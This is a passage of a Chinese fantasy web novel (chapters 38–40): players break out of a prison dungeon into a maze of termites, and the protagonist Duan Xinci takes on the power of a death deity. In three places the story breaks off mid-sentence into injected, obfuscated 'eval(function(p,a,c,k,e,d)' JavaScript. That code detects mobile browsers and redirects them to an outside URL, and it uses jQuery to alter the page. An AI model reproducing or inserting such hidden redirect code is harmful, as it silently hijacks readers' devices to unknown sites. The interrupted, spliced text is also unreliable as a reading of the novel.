【虔诚者】大概是交了什么不为所知的‘好运’,从进入这场世界副本起几乎和【匿名】形影不离。 狐蛇对这位酒搭子多少还是有点在意的。 毕竟卡利安事儿少还听话,最重要的是从来不在背后使绊子。 于是她大发慈悲地说:“我允许你把眼睛闭上。” 卡利安·尤菲:“……” ‘有没有可能,没有你的允许我也能把眼睛闭上。’ 况且只听声音更恐怖了。 【虔诚者】选择放弃让一头厄洛诺斯停手,这种不靠谱的事,转而尝试在这滩血腥颜料里自救。 该说不说,作为十名玩家里唯一的半治愈系…… 他多少还是艰难地将那滩颜料重新拼回到【匿名】的形态。 而住在隔壁牢房里的犯人,明显承受能力没有卡利安·尤菲强。 这位囚犯在一开始就被吓晕了。 这件事不能怪他。 任谁看到一个活生生的人形生物,在自己面前像车轮奶酪一样被不知名力量活剐都会受到惊吓。 【虔诚者】前脚刚把【匿名】拼好,狱警就带来了今天的晚饭—— 肉糊鱼糊菜糊和玉米糊。 晚饭被装在软硅胶餐盘里,从小窗户里塞进去。 段心慈轻轻戳了一下勺子,材质比餐盘还柔软的勺子肉眼可见地弯折。 “……” 带着微妙的好奇心,她在其余玩家惊悚地目光下仰头喝了一碗鱼糊。 只能说有时候不必要的好奇心还是不该有。 没有鱼肉应有的香气,这只是一杯有肉糜颗粒感的黏稠半固体。 玄发青年瞳孔微微放大。 她只在上辈子吃过这么难吃的饭。 所有玩家脑袋里不约而同地划过一个念头—— 现在!立刻! 离开这个吃不上好饭的地方! 前车之鉴在此,他们绝对不要步首席的后尘! 38. 难以言明的愧疚 【匿名】是第一个把想法付诸实践的。 他一手把勺子塞进嗓子眼,另一只手死死掐住卡利安·尤菲的脖子。 力道之大几乎要将对方的脖子生生掐断。 “你,去给我申请保外就医。” 见状,3号牢房里穆格罗好心提醒他—— “这颗星球上,保外就医的罪犯不得具有社会危险性,且不得是自伤自残的罪犯。1” “很遗憾,你两条都不符合。” 【匿名】狰狞一瞬。 这条律法符合这里的社会运行逻辑,【屠夫】没有骗他。 看着就快被自己掐死的【虔诚者】,【匿名】想到比吞勺子更好的主意。 “狱警——!!!” “来人啊!” “我的狱友精神病复发了!他快要掐死自己了!” 他抓着铁栅栏大喊:“我认为他需要立刻去医务室!” 闻声而来的狱警看着地上意识模糊的金发青年,相互对视一眼,拿出担架。 但【匿名】的目的可不是帮助卡利安出狱,而是自己离开。 他当即声泪俱下,一把鼻涕一把泪地扑在【虔诚者】身边。 抬起头对狱警说:“带我一起走吧!我是他最好的朋友!” “我相信只要有我在身边……” 说着,【匿名】‘深情’地摸了摸卡利安的头发丝,装出一副用情至深的模样:“……呜哈哈,呜呜呜呜呜。” 这一幕让2号牢房里的谢挽非,觉得胃里有点不舒服。 艾里门·歌德一拳砸烂了身后的墙壁,露出空旷的管道。 她郑重声明自己不歧视办公室恋情,但是【匿名】和【虔诚者】…… 哪怕知道【匿名】是演的,也足够恶心。 “yue——” 3号牢房的忒尼斯·厄洛诺斯已经先她的狱友一步,抱着洗手台大吐特吐。 她宣布自己和卡利安的酒搭子情谊,此时此刻单方面终结。 穆格罗也想吐。 但是他显然不能,也不敢和残暴的忒尼斯·厄洛诺斯去抢牢房里唯一的洗手台。 4号牢房里,【生者】绝望地看着【死者】感动地盯着那边发生的事,转头对自己说—— “老弟,他们好浪漫。” 【生者】本来不想吐的,现在不一定。 1号牢房里波绪拿睡得正香,海螺帽很好地保护住她的耳朵。 段心慈就没有那么幸运了。 在她看来,这一幕远比那碗鱼肉糊更糟糕。 但具体糟糕在哪儿,她又说不上来。 5号牢房门口,【匿名】还没有放弃。 “卡利安,没有我!你可怎么活下去!”他双肩颤抖,捂着脸跪地哽咽。 任谁也看不到,他粗糙不平、满是缝合线的手掌下,疯狂的怨毒。 说不准狱警是不是真被【匿名】兢兢业业的表演打动—— 总之,最后【匿名】成功以‘好狱友’的身份参与进这次‘拯救卡利安’的计划中。 离开5号牢房。 5号牢房现在空空如也,要考虑如何越狱是其余八名玩家。 【匿名】的法子虽然猎奇,但胜在好用。 只不过其他玩家没有半分想要效仿他的想法。 艾里门·歌德无意间打穿的墙壁,显然代表了另一个更体面的出路。 但她的好狱友—— 谢挽非明显不需要这个出路。 两名狱警来到2号牢房门口,抬手示意中控台的警官把H120-1854-2的铁门打开。 “谢挽非。” 其中一名狱警拿着手里的照片比对两眼,对金棕罗马卷发型的少年说到:“恭喜你。” “被人保释了。” 闻言,少年面色古怪。 狱警也有些奇怪:“你不认识你的保证人吗?” 谢挽非艰难地摇摇头:‘我该认识吗?’ “好吧。不管怎么说。” 狱警走上前,把谢挽非带了出去:“你现在可以离开这里,开始新生活了。” “出去以后要改过自新,好好做人。” 其余玩家显然不像段心慈一样,已经习惯了对方的好运气。 顶着六道犹如刀剐的愱恨目光,谢挽非跟着狱警消失在转弯尽头。 艾里门·歌德周身已经阴沉地不能再阴沉。 前一刻钟想过带谢挽非一起离开的自己,简直是个傻子。 她转身进入身后倒塌的墙壁。 ‘哐哐’两声巨响,在空旷的监狱里显得格外震耳欲聋。 但监狱里的其他囚犯根本没有一个敢吭声。 他们还不想变成晚饭的同款模样。 棕发青年接连砸穿两堵墙,顺利把她和段心慈所在的牢房打通。 她双手抱臂,靠在还在簌簌掉渣的墙边,对段心慈扬了扬下巴:“你不走,我可就走了。“ 段心慈有些迟疑:“……要不。你先走?” 艾里门冷笑一声,一把拎起躺在床上睡觉的【摇篮】波绪拿:“没和你说话。” “我在和我的合作伙伴说话。” 段心慈后退一步:“……好的。” 她和波绪拿身高差不多。 牢房晚上熄灯,艾里门认错也是情有可原。 睡眼惺忪的波绪拿乍然离开温暖的被窝,浑身冷地一哆嗦。 她抬头看向拎起自己的【地母】,默默忍下愤懑:“……TOP.4,晚安。” “不,不是晚安。” 艾里门·歌德直直盯着段心慈:“我们要去越狱了。” 【摇篮】:‘……你甚至懒得装一装,艾里门·歌德!’ ‘我记住你了!我会一直记住你!’ 段心慈迟疑了一下:“那……” 那双棕色的眼睛亮起,就听段心慈说—— “祝你们越狱愉快?” 在今晚之前,【生者】从来没有觉得TOP.4【地母】这样要风得风,要雨得雨的精神病有什么值得可怜的地方。 毕竟代号十里,绝大多数玩家都选择把怜悯这种情绪留给自己舔舐伤口。 但现在,他真的觉得【地母】摊上TOP.1,挺世事无常的。 然后就听见自己身后【死者】幽幽地开口:“【地母】,TOP.1大人对你好好哦。” 一牢之隔。 【屠夫】穆格罗把自己死命蒙在被子里,看不出他到底是在笑还是在哭。 【生者】却脸上顿时血色尽退。 这不是他们能说的话。 他一把将维莉亚·涅挪按在地上,自己则双膝下跪一言不发。 龙有逆鳞,触之即死。 于【地母】而言,段心慈是那个他者无法评判甚至提及的存在。 艾里门·歌德此时已经转过头,居高临下地睨着他们。 ‘这两只蝎子什么意思?’ ‘当着我的面就敢在段心慈面前搬弄是非?’ 被那双此时微微下沉的深棕瞳仁自高处俯视,这样的凝视下【生者】逐渐感到缺氧窒息。 泥土下深埋无尽的绝望。 那是只有亲身经历过才懂得,灵魂被活埋的滋味。 是自知还活着,却早已生不如死。 【生者】已经压抑到有些窒息。 实际上,艾里门·歌德并没有动手。 她暴躁、易怒、脾气坏。 但自认不蠢。 段心慈就站在面前。 她对【死者】和【生者】下手是嫌自己和段心慈还不够疏远吗? 是以她不再看颤栗的【生者】,只是垂目无望地看了眼面前的青年。 拎着‘合作伙伴’波绪拿,转身走进管道与电线交错复杂的墙壁内。 忒尼斯·厄洛诺斯这次难得没有笑话她。 【生者】带着【死者】离开。 【屠夫】也抓紧时间拆掉牢房的铁门,避开那头恐怖的狐蛇。 目前还在牢房里的顿时只剩下忒尼斯·厄洛诺斯与段心慈。 【织觉人】看向玄色发丝的青年。 她靠在墙壁上,垂着头。 阴影里像一团毫无生气,漆黑诡谲的墨。 “……我说。” 忒尼斯没有绕路,而是直接砸碎牢房之间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509266|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔墙。 最后她站在距离段心慈1.5米远的地方,席地坐下:“你到底是怎么想的。” 倒不是不想再靠近,而是不想被打成肉糊。 “……” 死寂的沉默里段心慈推给忒尼斯·厄洛诺斯一罐鱼糊。 她听到了,但不想回话。 狐蛇:“……” 厄洛诺斯扒拉着鱼糊,秉着我今天一定要让你开口的劲儿继续说:“她除了见你的第一面,往后没有对不起你过吧?” 段心慈手里没有鱼糊了,于是只能回答。 “没有。” “所以你当初为什么养她啊!” 忒尼斯明显有些崩溃:“你根本不是很好心的人啊!” ‘你是一个变态、疯子!’ ‘收养孩子和你的对外形象不符合!知道吗!’ 漫长的沉默里,忒尼斯甚至以为这片漆黑的阴翳永远不会开口。 直到她听见段心慈说了三个字:“那时候,她还小。” 那年艾里门·歌德只有11岁。 段心慈不知道代号十究竟发什么疯,把一个尚且年幼的生命拉进来。 她遇到艾里门的时候,那个孩子全身是大面积烧伤,没有一块好肉。 只有那双眼睛,清澈的棕色。 就那么盯着她…… 忒尼斯不可置信地质问:“就因为这个?” “……不然呢。” ‘难道是因为我很善良吗?’ 段心慈怀疑狐蛇对自己有什么误解。 忒尼斯无语:“我还以为你看她长得……好看,养着当小宠物玩呢。” 估计艾里门自己也是这么觉得的。 “……不好看。” 段心慈有些不愉:“艾里门不是宠物。宠物也不是可以养着玩的。” “……行,你是TOP你说了算。” 忒尼斯淡蓝色的瞬膜无语地滑动:“所以,你爱她吗?” “……不爱。” “也是。” “你这样的灵魂,只会臣服于自我意志。” 忒尼斯说着,突然饶有兴致地问:“那你觉得,她爱你吗?” “……忒尼斯,在代号十谈爱没有意义。” 段心慈回避了那个让她无所适从的问题:“我们的未来还在时间手里。” 这是不愿意继续谈话的意思了。 二者同时站起身。 眼见段心慈就要离开,忒尼斯叫住她:“最后一个问题……” “你喜欢她吗?” 段心慈不明白这头狐蛇今天到底哪来的那么多好奇心。 直到她站起身,看到破开的墙壁后,一枝细弱的树藤混在杂乱的黑色电线中间。 如果不仔细看,根本无法分辨。 段心慈看向忒尼斯,而忒尼斯在看那团电线。 区别是狐蛇的眼里没有那条树藤的倒影。 段心慈在忒尼斯回头与自己对视时敛下眼睫。 忒尼斯也不再继续窥探她的情绪。 那些试探都点到为止(在这头厄洛诺斯过去单方面挨了很多顿打之后)。 “喜欢的。” 青年沉闷地声音在牢房内格外清晰。 她不再理会忒尼斯纠结的模样,一拳砸穿铁门后径直离开牢房。 ‘亲手带大的孩子怎么会不喜欢呢?’ 只是这份喜欢远远没有爱深刻,也无法改变她的意志。 拐角处,艾里门·歌德将这声喜欢听得真切。 她想,这就够了。 这样自由的段心慈,不要爱上任何别的灵魂。 她只要忠于自己,艾里门·歌德就会永远忠于段心慈。 在她身后,被迫一同听墙角的波绪拿:“……” 艾里门·歌德晃了晃波绪拿的囚服后领:“【摇篮】,你我的合作到此为止。” 波绪拿神情恍惚地点头:“……当然。如您所愿。” ‘其实根本没开始过,对吗?’ 波绪拿为三天前找上TOP.4合作的自己感到惊奇。 至此,所有玩家都离开牢房,步入迷宫深处。 39. 死亡的一己私欲 段心慈刚走出牢房,就感到身边某种类似空间波动的振幅。 监狱在她眼前折叠、重合、扭曲。 最后变成另一座截然不同的庞然大物—— 迷宫。 看不清边界的纯白。 耸立的高墙蜿蜒曲折,纤尘不染。 就算仰起头也只能在头顶看到构造如出一辙,倒建的迷宫。 一张告示出现在青年面前: [1]迷宫内同样拥有牢房。 [2]游荡在外的猎犬会向典狱长汇报你的行踪。 [3]不要回到监狱!不要回到牢房! [4]狱友的关系是微妙的,请谨慎处理。 迷宫内,但凡是看到这份告示的玩家心中生出大差不差的质疑: 他们的关系还需要代号十亲自挑拨吗? 第四条简直是多此一举。 诡异的默契里,谁也不想和自己人厌狗憎的同僚们见面。 而在未曾注意的地方,无数密密麻麻的眼睛注视着所有玩家的一举一动。 它们嬉闹、传讯,像地下室灰尘在窃窃私语1。 段心慈沿着随意挑选的路线一直向前。 经验告诉她:副本越强调什么,什么越不可信。 一切所设想的通关方式里,凭刻板印象里走迷宫离开这里是被完全排除的方案。 ‘游荡在外的?’ 她戴上手套,手试探性地拂过墙壁。 与先前不同,在没有外力攻击的情况下,手指甚至没能触碰到迷宫表面,墙体就已经如水波扩散般向周围荡开。 细小,轻微震颤的触感通过层层叠叠的昆虫肢体传来。 纯白轻薄的虫翅阵阵拍打,掀起气流。 数不尽的畸形白蚁构成了迷宫的高墙。 迷宫中,其余玩家也陆陆续续发现了这点。 段心慈心底不禁产生疑问: ‘究竟是白蚁铸成了白墙?’ ‘还是原本屹立的白墙被白蚁吞噬,代替原本此地的主宰?’ 只有继续走下去才能得到答案。 白蚁显露,想来迷宫也会出现新的变化。 正这样想着,一条脖子两侧各缝合了一颗犬首,偏偏是脖颈上空荡荡的猎犬在不知何时出现,突兀地出现。 猎犬静静站在她身后。 空白的眼珠锁紧,俨然一副将青年当作猎物的模样。 和墙壁一样,它们都是由白蚁组成。 无法对墙壁造成伤害,是因为数以亿万计的浩瀚白蚁彼此之间将力量传送,分摊。 但青年方才研究过,唯一与猎犬有所接触的地面并非由白蚁构建。 就算判断有失误,左右也不过是受些伤。 想到这,段心慈闪身躲过猎犬的扑咬,腰带在空中划过凌厉的残影。 随即便是一记空中侧踢—— 两颗大张着嘴的狰狞头颅瞬间爆裂。 猎犬倒在地上抽搐两下,彻底气绝。 但危机感却始终笼罩在头顶不曾离去,源自猎犬的尸体。 那些白蚁还活着。 仿佛是特意验证她的猜想—— 一瞬间,猎犬的身躯如沙堆被吹散。 白蚁像从尸体里孵化孳生的蝇虫,拂面而来。 段心慈视野一阵扭曲,原本准备打出火苗的动作微顿。 再次睁开眼时,她发现自己重新回到监狱的牢房中。 扭曲的大门完好如初。 周围是绝对的安静,那些囚犯也消失。 只有空荡的床铺可以证明刚才发生的一切不是幻境。 仔细感受了一下自己现在的状态后,她确定眼下不过是意识的投射。 自己真正的身体目前还处在迷宫中。 在牢房里转了一圈,最后段心慈在角落里翻出一本被砖块压着的日记。 翻开日记泛黄的第一页: 【记不清多少个日夜过去,我这才想起自己不算无事可做。】 【日记,日记……我要记录……】 【回忆像猎犬……它紧追着我!撕咬我的内脏啊!只有牢房……牢房是安全的!不要离开……】 【不要离开!】 突然地,在某一页笔迹变了。 【我要离开这里。】 【没有记忆的,没有未来。我不相信。】 【我的记忆怎么会一无所有?我肯定是遗忘了什么。】 【我究竟忘了什么?……】 【不要离开。不要离开牢房。】 笔迹再一次转变…… 【我是胜利者……我要活下去!我不能输!】 【我不能输……】 【我……不能放弃……】 【身躯和记忆……腐烂了。】 【不要离开,不要离开这里!】 笔迹变化了四次,但每个笔迹的结尾都没有变过。 【不要离开。不要离开牢房,不要离开监狱。】 段心慈‘啪’地一声将日记合上,丢在桌上。 且不论日记有没有造假的可能性,单是代号十允许这本日记出现剧场里,就已经足够说明祂的意图。 无非是造成精神恐吓,顺便让胆战心惊的玩家们不要离开监狱。 就在她打算再次掰开铁笼走进迷宫时,耳边一道劲风刮过—— 玄发青年反手扼住忒尼斯从背后偷袭的二号蛇首。 至于为什么是二号不是三号四号,原因很简单,只有这条蝰蛇身上爆米花的香味最浓。 它的其它姐妹都不怎么爱吃爆米花。 忒尼斯显然没有暗算失败的觉悟,反倒出言调侃:“居然还是对这一招有所防备吗?” 狐蛇有些遗憾地咂嘴。 本以为筒子楼一幕足以打消对方的戒心。 不愿再忍受忒尼斯·厄洛诺斯频繁的挑衅,段心慈一手将狐蛇掼在牢房地面,巨大的身躯倒下发出沉闷的声响。 忒尼斯的八条蛇上半身意图绞杀青年,却被她用抽出来的腰带捆了个结结实实。 段心慈膝盖死死顶住忒尼斯较为柔软的腹部。 一只手狠狠掐住狐蛇的喉咙,另一只手拿出刚从监狱门上掰下来的钢筋高高扬起—— ‘砰!’的一声巨响。 忒尼斯目光落在那根距离自己狐狸脑袋距离不到半毫米,几乎整根没入地板的钢筋,笑了。 “TOP.1。” “段心慈。你还是…咳……” ‘还是和从前一样啊……’ ‘既然不愿意杀死我,为什么不能被我杀掉呢?’ 这是忒尼斯·厄洛诺斯内心深处最真实的想法。 ‘如果你不肯杀死我,就由我来杀死你。’ ‘……明明,其中蕴含的情感是一样的啊。’ 段心慈加大手中的力道钳制忒尼斯的脖颈,不给她继续说下去的机会。 长发青年迫使那双同雨后晚霞的瑰丽眼瞳与自己眼中的疯狂对上:“……厄、洛、诺、斯。” ‘……啊,她在叫我的姓氏。’ ‘接下来会是要挟的话语吗?’ 【织觉人】有些高兴地想,段心慈确实为人阴毒卑鄙一些会比较好。 会活得开心。 会和她有共同语言,会有成为朋友的机会。 “不要……” ‘不要逼我…杀死你……’ 段心慈掐住厄洛诺斯脖颈的手在发抖。 一个模糊的声音在她耳边轻声蛊惑:“为什么不杀了他们?” “杀了忒尼斯。就像…从前做的那样。” 段心慈明白时间的意图—— 像第一世那样…… 将站在对立面的一切赶尽杀绝,碾灭倒不留一丝痕迹。 狐蛇并不知道绿赛图斯正在不断蛊惑青年杀死自己。 她甚至颇有些高兴地仰了仰脖颈,将致命的弱点往段心慈手里送。 “杀死我,对你来说很简单吧?” “我死去,就不会一直给你添麻烦了。” 忒尼斯是真正这样认为的。 “对祢来说,杀死忒尼斯和杀死一只蚂蚁没有区别,我们都知道。” 两句话,出自不同的个体。 内容却同出一辙。 段心慈倏地松开手、站起身,头也不回地抛下忒尼斯离开牢房。 只剩狐蛇独自留下,目光晦涩地盯着对方深色的背影。 回到迷宫的身躯里,那双被衣袖遮掩的手掌微微颤栗。 “只要用不足万分之一的力量,这个一直给祢添乱的家伙就会死去。祢会轻松很多。” 属于时间的声音没有放弃,继续催促道:“回过头,杀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说到底,不过是身为死亡的段心慈,祂的一己私欲。 和正义又有什么关系? 死亡座下众生平等。 她说忒尼斯·厄洛诺斯还不到死去的时刻,谁又能阻止忒尼斯活下去? 也是在这一刻,段心慈才迟钝地发觉自己在不知何时完全领悟了死亡的真理。 明明更先得到的,是战争与胜利的半步真理。 却偏偏先行成就了死亡。 倒也并非无迹可寻。 毕竟时间能改变战争的结果,也有概率使胜利转为失败。 却唯独不能阻拦死亡降临的时刻,更不能死而复生。 现在她不用思考世界上是否更强大的人就是神这一类哲学问题了。 身为死亡主神的段心慈无比清晰地知道人与神祇的界限,绝非鸿沟二字可以描述。 与概念无关。 而是在概念诞生前,绝对存在的真理。 成群覆盖的白蚁在火焰的焚烧下化为焦翅,灰烬。 被遮蔽的高墙逐渐显露真容—— 不过是些坑坑洼洼,丑陋不堪的残垣断壁。 “这些是祢做的吧?” 段心慈抬头,那双怪诞的眼珠透过副本世界的壁垒,直直望向神座之上的绿赛图斯—— “能蛀蚀回忆的……只有时间。” ‘就连恨也不能。’ “……疯子。” 时间主神高坐在代号十的神殿中,银白的虹膜里无悲无喜。 一个力图将众生万物死亡掌控的疯子。 哪里会有什么怜悯、仁慈可言? ……不杀死忒尼斯的原因,居然仅仅是因为认定忒尼斯现在不是死亡的时刻。 这样荒诞的理由… 时间无法扭曲死亡的意志,于是离开。 既然注定无法扭转,祂也绝无坐以待毙的可能。 ‘死亡的神祇……’ ‘我们……且行且看。’ 40. 纵是追忆也枉然 火焰燃尽,只剩下沉寂的冷。 段心慈背靠记忆的残垣断壁。 祂面前,是悬浮在半空的死亡之灵。 在成为神祇后,必须与对应的真理灵签署协议,神力与权柄才能达成统一。 神位从来都不好坐。 “呃,我是说。” “按照真理规则第13279条——” 死亡之灵匆匆翻动着面前的书本:“祢需要为我狩猎一头黑暗属性魔龙,向规则发誓绝不会伤害我,嘿,还有……” 它在青年不善的目光下越发小声:“…允许我蚕食祢的力量。” “最后一句不是我瞎编的!” 死亡之灵慌乱解释:“规则从来都是这样!” “神祇必须接受真理灵的制约。不然胡作非为的神祇就太多了……一定会出乱子。” ‘那就说明前两个条件都是瞎编的了。’ 段心慈面上浮现一丝遗憾。 ……本以为杀死灵,将枷锁与二分之一的灵魂融合…就能对「自我」许下誓言。 死亡之灵完全不知道眼前神祇即将破土而出的残暴念头。 它还在振振有词:“同个神也不能一直待在神座上,所以需要灵去日复一日的削弱直到无力承担真理。” “不被灵认可、辅佐的神,就算完全领悟真理也只能算作伪神。” 段心慈听明白了。 所谓的灵,不过是一道套在神祇脖颈上的枷锁。 不套上就不被规则认可,而套上就只能日渐等死。 只是,相较于凡人而言仍然拥有过于漫长的寿命。 没有意外,即便面临死亡也是数千万亿年后的事。想来不会神祇会计较这个。 但事实果真如此吗? 如果认为时间沦落到今天这个地步,完全是祂自己一手促成…… 那也太傻了。 背后有多少是时间之灵的推波助澜,不得而知。 死亡之灵一次性说了这么多,段心慈却逐渐从中听出另一个事实—— 比起真理灵的死活,规则明显更在意神祇到底有没有套上制衡的枷锁。 目前还没有和规则硬碰硬的念头,如果一定要套上枷锁…… 为什么不选自己? 现下,她心中已有决断。 青年一把攫过喋喋不休的死亡之灵,在灵不可置信的注视下将其撕成两半。 正如推测的那样,灵重伤,但其中的枷锁特质依旧完好无损。 从未设想过神祇发难的可能,眼睁睁看着自己在难以忍受的疼痛与屈辱里被一分为二,灵当即大叫一声—— “祢要做什么?!” “我们是一体的!伤害我!祢也不会好过!” “你活着,我会更不好过。” 段心慈目光里全是杀意,抬起手背抹去唇角淌下的血迹。 “还没发现吗?!施加在我身上的伤害会同步到祢自己身上!” 死亡之灵看段心慈就像在看一个疯子,它艰难喘息着质问:“……即便如此祢也执意继续?” “同步?…那又如何?” 段心慈唇角扯开一个阴鸷癫狂的弧度:“只要我能活下去……” ‘我的枷锁……只能由我自己掌控。’ 她不再废话,手下用力,一分为二的碎片再次被撕开。 真理灵就像一张被反复扯碎、叠合、再扯碎的白纸。 尖锐诡异的疼痛同步在青年的肉身上。 明明被撕扯的是手中的灵,那无法忽视的疼痛却好像在提醒她—— 自己才是那个被活活撕碎的错误…… ‘我不甘心。’ 青年垂目看着手中已经碎如烂泥的真理灵:‘也绝不接受、不接受自己永受桎梏。’ 比起肉身短暂的痛苦,喋喋不休的死亡之灵更接近那把悬在头顶的铡刀。 现在,铡刀消失。 灵的意识死去,变成一条静静等待被戴上的锁链。 轻轻碰了碰小臂,受力后的皮肤立刻怪异地凹陷出一个回弹缓慢的深坑… 如果不是有神的灵魂支撑这具□□,说不定段心慈会在碾碎灵之间,就把自己先给玩没了。 她现在像一个人,但也仅仅是外表像了。 或者说‘拟人生物’这个词更贴合青年现在的状态。 骨骼、关节、内脏还有软组织都在方才的暴力撕扯下变成一滩裹在人皮下的烂泥,全靠死亡的意志勉强维持人形。 虽然、但是…… 已经走到这个地步,维持人形似乎也不是什么很重要的事。 段心慈到底是没有在这时候做出某些惊世骇俗的尝试。 垂下眼睫,浅色的阴影盖住她晦暗的目光。 手中是规则的锁链冰冷的触感。 长发青年拎起那截「规则」,直至与视线齐平。 链条在白墙漫反射里折出刺目的冷光,又同胸前半截刻有心脏纹路的金属牌相映成辉。 “……真没意思。” 她甚至算得上温柔地笑了一下。 人类形态的口腔打开,露出猩红的内里、糜烂的血肉与筋骨。 两指拎着的锁链触及舌尖,冰冷的异物感带来怪诞与不适。 段心慈没有犹豫,苍白的手指松开。 「真理」的锁链落入口腔,顺着食道一路下滑。最后与被撕扯成一滩肉泥的内部构造完全融合。 从现在起,她是死亡,亦是桎梏死亡的囚锁。 转身望向身后朝自己走来的玩家们,玄发青年神色如常。 这群家伙最好不要选择在这个时间段和自己打架,否则她不能保证不会出现什么惊世骇俗的场面。 肉身里混乱的血泥碎骨,在一刻不停地自我修复。 从牢房里走出的忒尼斯·厄洛诺斯死死盯着段心慈。 狐蛇的神情极为怨恨,还夹杂着说不清道不明的情绪。 就连艾里门·歌德都离她远远的。 剩下卡利安·尤菲呆呆地站在原地,不明白为什么就这么一会儿的功夫,气氛突然僵硬。 代号十里只有极少数玩家知道,自诞生那一刻起,忒尼斯·厄洛诺斯的恨意长久以来从未消失。 身处无尽记忆的迷宫里,过往一帧帧、一幕幕在她眼前闪现。 犹若杯中酒水,气泡上浮再破灭。如此循环往复。 窒息与混乱并行。 段心慈绝非这头年轻狐蛇回忆里最浓墨重彩的一笔。 最深重的痛楚与仇恨来自艾维斯·厄洛诺斯—— 前任厄洛诺斯家族的掌权者,也就是…… 忒尼斯·厄洛诺斯的生母。 【蓝色的畸胎。】 【九颗头颅的怪物。】 从出生起就拥有记忆的天赋变为莫大的痛楚,紧紧缠绕幼年期的厄洛诺斯。 她忘不掉艾维斯丢弃她时,果决、不经思考的模样。 更不明白为什么,明明已经做出抛弃自己的决定,却还要在抛弃前为她取了名字—— 忒尼斯·厄洛诺斯。 这算是一种羞辱吗? 彼时蓝色的狐蛇没有深想,也没有机会深想。 她在副本脏污的泥浆里,挣扎着求生。 生存本能告诉她,活下去。 只有活下去,才是赢家。 求生欲支配起幼年狐蛇的躯壳,奇迹降临。 在降生不到一周里,忒尼斯觉醒了厄洛诺斯家族血脉相传的幻觉编制。 虽然鸡肋,对还不到一指长的狐蛇幼崽来说已有无以伦比的优势。 足够隐蔽,能让她做到杀敌于无形。 5岁,忒尼斯已经长到一米有余。 她不断地告诉自己:活下去,活着才有未来。 活着去问,问艾维斯·厄洛诺斯,抛弃自己的理由。 15岁,忒尼斯已经在血与泪混杂的莫大悲哀里,伤痕累累地爬上玩家榜排名前30。 那时候的少年,已经不再想着问艾维斯抛弃自己的理由。 显而易见,没有任何一条狐蛇的尾巴是头。 九条碧绿的蛇尾游动、缠绕成一股扭曲虬结的狐尾,从赤狐的尾椎处生长。 她记得艾维斯将她扔出家门的神情,和随手扔出一袋垃圾没什么两样。 对方一句……轻描淡写的‘蓝色畸胎’。 用来形容自己…… 真是,再合适不过。 酒水里倒映出少年厄洛诺斯幻梦般的脸庞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509268|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美丽的上半身,从腰际开始却是八条缠绕狰狞的蝰蛇。 那天她在噪声鼎沸的酒吧里,漠然流尽了最后一滴泪。 在20岁那年,位列NO.11的忒尼斯向当初TOP榜第7名的【织觉人】艾维斯·厄洛诺斯发起生死决斗。 彼时,忒尼斯站立身高已经超过三米。 艾维斯·厄洛诺斯欣然应战。 意料之内,执守TOP.7近五百年的艾维斯败了。 时间里,败者的宿命是迎接死亡。 忒尼斯将匕首插进艾维斯脖颈,那一刻,她曾低声问她:“你后悔吗?” ‘抛弃我,你后悔吗?’ ‘漠视我,你后悔吗?’ ‘迎战我,你后悔吗?’ 艾维斯·厄洛诺斯没有正面回应自己的孩子。 即便面临死亡这头狐蛇也是高贵、端庄不容侵犯的。 她将那条染血的珍珠项链摘下,亲昵地戴在忒尼斯·厄洛诺斯的颈上,阖眼咽下最后一丝气息。 忒尼斯虹膜微沉,目光落在自己颈间的项链上:“……” 新一代厄洛诺斯的家主疯了,没有玩家知道是为什么。 她行事越发高调诡谲,不仅对外,对内更毫不留情。 但凡是忒尼斯不满意的厄洛诺斯成员要么处死,要么放逐。 只有年轻的家主知道,珍珠项链承载艾维斯的传承记忆里,留给她的最后遗言—— “我很满意。” 艾维斯的调笑犹在耳畔:“忒尼斯,你做到了。” 忒尼斯·厄洛诺斯想将项链狠狠甩出去,却发现无论无何都无法摘下。 她只能力竭地作罢,任由这个像狗圈一样的东西桎梏在自己喉间。 满是鲜血的手垂落,交汇了两代厄洛诺斯的命运。 至于遇到段心慈…… 那已经是她掌权厄洛诺斯三百余年后的事。 痛苦的回忆上涌又碎裂—— 忒尼斯竭力一头撞在墙上,试图用疼痛来抑制更沉重的折磨。 “我很满意。” “忒尼斯,你做到了。” 记忆里,这句话像一个诅咒。 诅咒她忒尼斯弑母弑亲,不得好死。 蓝红交织的血液从额头蜿蜒淌下,浸染了大半张脸。 回忆的猎犬嗅着血腥寻到这里,低低地咆哮,只等忒尼斯意识崩溃,好将她开膛破肚。 事发突然,所有玩家都没有想到会是这样的发展。 觐神宴的开启条件远比想象中更残忍、更苛刻。 眼见忒尼斯还要去撞墙,艾里门·歌德棕色的眼瞳中兴奋一闪而过。 她上前一步,手里的树藤蓄势待发,心中暗暗盘算:‘不杀死段心慈,杀死【织觉人】也算好事一桩。’ 虽然有这个想法的不止艾里门一个,但她绝对是表现最明显的。 段心慈:“……” 青年上前一步,踹开蓄势待发的猎犬,先行用钢筋敲晕了忒尼斯。 